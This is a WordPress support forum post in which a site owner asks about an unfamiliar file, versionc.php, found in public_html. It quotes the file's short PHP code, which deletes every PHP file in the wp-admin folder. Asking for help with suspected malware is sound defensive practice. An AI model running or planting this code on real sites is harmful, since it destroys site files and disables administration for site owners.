• I’ve found a file, among the other WordPress installation files, in the public_html folder that I don’t recognize, and having a very limited knowledge of PHP, I don’t understand what the code does.

    The filename is versionc.php, and this is the contents of the file:

    <?php
    $path = “wp-admin/”;
    foreach(glob($path .”*.php*”) as $file) {
    unlink($file);
    }
    ?>

    As I say, my knowledge of PHP is very limited, but to me that code seems to have something to do with deleting PHP files, which is why it seems so suspicious to me.

    If anyone has any knowledge of what the file or the code is, and whether it’s something I need to take some action to remove, I’d be grateful.

    Thanks.

Viewing 4 replies - 1 through 4 (of 4 total)
Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Suspicious file (possibly)’ is closed to new replies.